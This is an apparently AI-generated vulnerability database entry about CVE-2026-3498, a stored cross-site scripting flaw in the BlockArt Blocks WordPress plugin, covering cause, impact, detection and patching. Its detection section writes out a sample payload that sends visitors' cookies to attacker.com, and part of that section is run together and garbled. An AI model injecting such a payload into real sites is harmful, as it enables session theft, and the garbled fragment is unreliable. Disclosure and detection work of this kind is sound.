
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-3498 is a Stored Cross-Site Scripting (XSS) vulnerability in the BlockArt Blocks plugin for WordPress, affecting all versions up to and including 2.2.15. The flaw resides in the clientId block attribute, which lacks sufficient input sanitization and output escaping. It was published on April 11, 2026, and assigned a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is insufficient sanitization of the clientId block attribute in the plugin's QueryLoop.php and PostTemplate.php block type handlers, which allows unsanitized user input to be rendered directly in page output (GitHub Advisory). Exploitation requires an authenticated account with at minimum Author-level privileges, and no user interaction is needed beyond a victim visiting the injected page. The vulnerable code paths are visible in the plugin source at includes/BlockTypes/QueryLoop.php#L43 and includes/BlockTypes/PostTemplate.php#L67 in version 2.2.15 (GitHub Advisory).
Successful exploitation allows authenticated attackers with Author-level access or higher to persistently inject arbitrary JavaScript into WordPress pages. These scripts execute in the browsers of any user who visits the affected page, enabling session cookie theft, credential harvesting, defacement, or redirection to malicious sites. The scope is changed (S:C), meaning the injected scripts can affect users and resources beyond the plugin's own security boundary, including site administrators (GitHub Advisory, Wordfence).
As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation (Wordfence). The EPSS score is approximately 0.03% (12th percentile), indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for authenticated Author-level access, limiting the attacker pool to users with existing accounts on the target WordPress site.
clientId attribute, such as "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>.wp-admin/post.php or the REST API (/wp-json/wp/v2/posts) containing suspicious script tags or encoded JavaScript in block content fields.wp_posts table entries containing <script>, javascript:, or encoded variants (e.g., <script>) within BlockArt block markup, particularly in clientId attributes.Update the BlockArt Blocks plugin to version 2.2.16 or later, which contains the fix for this vulnerability (GitHub Advisory, Wordfence). If immediate patching is not possible, consider temporarily deactivating the plugin and restricting Author-level and above permissions to only fully trusted users. After patching, audit existing pages and posts created by Author-level users for any suspicious script injections in BlockArt block content.
Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for April 6–12, 2026 (Wordfence Weekly Report). The vulnerability received standard coverage from automated vulnerability tracking services including VulDB, CIRCL, and INCIBE-CERT, but no notable independent researcher commentary or significant social media discussion has been identified.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."